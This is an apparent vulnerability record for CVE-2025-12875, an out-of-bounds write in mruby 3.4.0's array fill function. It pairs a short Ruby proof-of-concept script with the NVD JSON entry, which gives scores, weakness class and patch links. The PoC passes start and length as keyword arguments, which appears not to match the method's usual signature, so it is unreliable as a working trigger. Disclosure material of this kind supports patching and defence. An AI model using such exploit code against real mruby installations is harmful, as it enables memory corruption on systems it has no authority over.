CVE-2025-12875

# CVE-2025-12875 PoC - mruby array fill out-of-bounds write # Target: mruby 3.4.0 # Vulnerability: ary_fill_exec function in mrbgems/mruby-array-ext/src/array.c # PoC demonstrating out-of-bounds write via array#fill with manipulated start/length poc_code = <<~RUBY # Create an array with limited size arr = [0, 1, 2, 3, 4] # Attempt to trigger OOB write by using large start/length values # This should cause ary_fill_exec to write beyond allocated memory begin arr.fill(100, start: 1000, length: 10000) rescue => e puts "Error: #{e.message}" end # Alternative PoC - negative start value manipulation arr2 = [1, 2, 3] arr2.fill(99, start: -100, length: 50) RUBY puts "CVE-2025-12875 mruby OOB Write PoC" puts "=" * 50 puts poc_code

{"cve": {"id": "CVE-2025-12875", "sourceIdentifier": "[email protected]", "published": "2025-11-07T21:15:40.557", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in mruby 3.4.0. This vulnerability affects the function ary_fill_exec of the file mrbgems/mruby-array-ext/src/array.c. Executing a manipulation of the argument start/length can lead to out-of-bounds write. The attack needs to be launched locally. The exploit has been made available to the public and could be used for attacks. This patch is called 93619f06dd378db6766666b30c08978311c7ec94. It is best practice to apply a patch to resolve this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-787"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mruby:mruby:3.4.0:*:*:*:*:ruby:*:*", "matchCriteriaId": "65ECFCF1-24DD-4CC7-81CD-50D15E75C9F2"}]}]}], "references": [{"url": "https://github.com/makesoftwaresafe/mruby/commit/93619f06dd378db6766666b30c08978311c7ec94", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mruby/mruby/", "source": "[email protected]"}, {"url": "https://github.com/mruby/mruby/issues/6650", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/mruby/mruby/issues/6650#event-20443453808", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/mruby/mruby/issues/6650#issuecomment-3430851605", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://vuldb.com/?ctiid.331511", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.331511", "sour ... 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